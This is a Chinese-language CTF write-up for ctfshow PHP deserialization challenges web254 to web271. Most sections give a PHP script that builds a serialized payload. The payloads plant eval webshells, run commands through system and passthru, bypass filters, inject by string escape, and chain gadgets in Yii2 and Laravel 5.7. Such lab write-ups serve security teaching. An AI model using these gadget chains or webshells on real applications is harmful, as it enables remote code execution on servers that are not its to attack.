php反序列化(ctfshow)

web254

这关好像和反序列化没什么关系

payload ?username=xxxxxx&password=xxxxxx

web255

这里让我们让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,所以反序列化的内容为

<?php
class ctfShowUser{
    public $isVip=true;
}
$a= serialize(new ctfShowUser());
//O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}
//由于cookie中将;作为截断符号,所需要编码绕过,这里采用url编码
echo urlencode($a);
//O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web256

这关需要序列化一个username或password使其反序列化后互不相同就行了

<?php
class ctfShowUser{
    public $username='haha';
    public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>

//运行结果
O:11:"ctfShowUser":2:{s:8:"username";s:4:"haha";s:5:"isVip";b:1;}
//url编码处理后:
O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A4%3A%22haha%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

web257

__construct当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法

因此我们只需要在执行__construct的时候初始化backDoor类,方便我们进行命令执行的利用,之后反序列化结束后,会执行__destruct(),此时eval($this->code);等价于eval(system('cat flag.php');)

<?php
error_reporting(0);
class ctfShowUser{
    private $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    private $code="system('cat flag.php');";
    public function getInfo(){
        eval($code);
    }
}
echo urlencode(serialize(new ctfShowUser()));
?>
//要在输出时就要url编码,否则会遗漏掉空格

最后生成反序列化的数据:

O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web258

这关多了一个正则表达式:/[oc]:\d+:/i。意思是过滤这两种情况:o:数字:c:数字:

只需要把O后面的数字前加个加号就可以绕过了(o:+数字:)

<?php
class ctfShowUser{
    public $class = 'backDoor';
    public function __construct(){
        $this->class=new backDoor();
    } 
} 
class backDoor{
    public $code='system("cat f*");';
}
$a = serialize(new ctfShowUser());
$a = str_replace('O:','O:+',$a);
echo urlencode($a);
?>
//运行结果
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system("cat f*");";}}
//URL处理
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+f%2A%22%29%3B%22%3B%7D%7D

web259*

web260

这题就简单了,直接序列化一个包含”ctfshow_i_love_36D”的字符串

<?php
class ctf{
    public $c="ctfshow_i_love_36D";
}
$a=serialize(new ctf());
echo urlencode($a);
payload:ctfshow{3d3ba94d-0c6c-4ae8-8113-b34d15d286b9}

web261

注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
//此特性自 PHP 7.4.0 起可用。

__destruct 函数部分弱比较 $this->code==0x36d,因为 $this->code = $this->username.$this->password;username 可控制,因为 (int)'877.php' == 0x36d,故传 877.php 即可绕过。

<?php
class ctfshowvip{
    public $username;
    public $password='';
    public $code='';
    
        public function __construct(){
        $this->username='877.php';
        $this->password='<?php eval($_POST[1]);?>';
            
        }
    
}
echo urlencode(serialize(new ctfshowvip()));
?>
payload: vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3Bs%3A0%3A%22%22%3B%7D

web262

方法1:非预期

因为message.php页面中的cookie我们是可控的,所以我们可以直接将序列化加密之后的字符串赋值给cookie即可。

<?php 
class message{
    public $token='admin';
}
echo urlencode(base64_encode(serialize(new message(1,2,3))));

方法2:php反序列化字符串逃逸

字符串逃逸类似于注入,逃逸有一个特征:对序列化后的字符串进行了替换、而且替换后造成了字符数量的不一致,有两种情况,一种是替换后变长,一种是替换后变短。此题将fuck替换成了loveU,所以是变长。

我们先看看这个:

<?php
class message{
    public $from='1';
    public $msg='2';
    public $to='fuck";s:5:"token";s:5:"admin";}';
}
echo urlencode(serialize(new message()));
//结果解码后为O:7:"message":3:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:31:"fuck";s:5:"token";s:5:"admin";}";}

可以看到,这里的s:31:”fuck”中fuck应该是四个字符,而这里却是31个,因为这里的31个字符包含了后面的一堆字符fuck";s:5:"token";s:5:"admin";},共27个字符,而要使这里的数字于字符数对应,我们就可以用到题目给的字符串替换,将fuck替换成loveU,每替换一次就会多一个字符,不难想到,如果替换27次,那么就相当于这里将后面的常量字符串数量天衣无缝的弥补上了。

payload:f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

最后访问message.php即可

web263

用扫描器扫到了www.zip和check.php

www.zip中的index.php:

我们可以通过修改 $COOKIE['limit'] 来控制 session 的内容。

inc/inc.php:


<?php
...
ini_set('session.serialize_handler', 'php');
session_start();
...
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}
...

我们需要知道session_start()这个函数已经这个函数所起的作用:

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

这里使用 ini_set 指定了 serialize_handlerphp,如果默认的 serialize_handlerphp_serialize,就可以通过在序列化的字符串之前加 |,反序列化任意对象。

php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值

注意:在 php 5.5.4 以前默认选择的是 php5.5.4 之后就是 php_serialize,这里的 php 版本为 7.3.11,那么默认就是 php_serialize

那么思路就很清晰了,首先在 $COOKIE['limit'] 中构造 |+序列化对象 的字符串,访问首页写入 session,再通过 check.php 加载的 inc.php 中的 ini_set('session.serialize_handler', 'php');sessionsession.serialize_handler=php 的格式反序列化,执行 User 类的 __destruct 方法写 shell

首先构造payload:

<?php
class User{
    public $username = "c.php";
    public $password = "<?php @eval($_POST[1]); ?>";
    public $status;
}
$a = new User();
$target = '|'.serialize($a);
var_dump(urlencode(base64_encode($target)));
//fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiJjLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4iO3M6Njoic3RhdHVzIjtOO30%3D

更改 cookie 后访问 index.php,然后访问check.php或inc/inc.php进行反序列化,最后访问log-c.php传参即可

web264 反序列化字符串逃逸

与262关不同的是这里用的是session,所以不能非预期了

反序列化字符串逃逸:

f=1&m=2&t=3fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

访问message.php时还需要在cookie中添加msg,值任意

web265 反序列化中指针引用

token的值是一个随机值,我们要想传值给password,使其与token相等是不可能的,那么就只有把password的地址传给token,使password跟着token的改变而改变。

<?php
class ctfshowAdmin{
    public $token=1;
    public $password=1;
}
$a = new ctfshowAdmin();
$a->password=&$a->token;//让passwd的值随token变
echo serialize($a);
//运行结果
O:12:"ctfshowAdmin":2:{s:5:"token";i:1;s:8:"password";R:2;}

web266 php不区分类名的大小写

php中:

区分大小写的: 变量名、常量名、数组索引(键名key)

不区分大小写的:函数名、方法名、类名、魔术常量、NULL、FALSE、TRUE

所以这道题解法呼之欲出:因为正则表达式区分了大小写,所以我们可以使用大小写绕过,然后反序列化ctfshow类,这样就不会报错,脚本正常结束之后,就很调用__destruct()魔法方法,输出flag。

<?php
class Ctfshow{
    
}
echo serialize(new Ctfshow());
//O:7:"Ctfshow":0:{}

web267

先用admin弱口令登录

在about页面发现提示?view-source

访问url/?r=site/about&view-source得到反序列化点

POC:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}
namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

get传参,得到flag

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19

web268

这里需要换一条链子:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'ls';
        }
    }
}
namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}
// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

web269

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'ls';
        }
    }
}
namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;
        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
    use Faker\Generator;
    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{
    use yii\web\DbSession;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{
    use yii\rest\IndexAction;
    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}
namespace{
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}

web271

laravel5.7反序列化

<?php
namespace Illuminate\Foundation\Testing{
    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
    use Illuminate\Foundation\Testing\PendingCommand;
    echo urlencode(serialize(new PendingCommand()));
}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。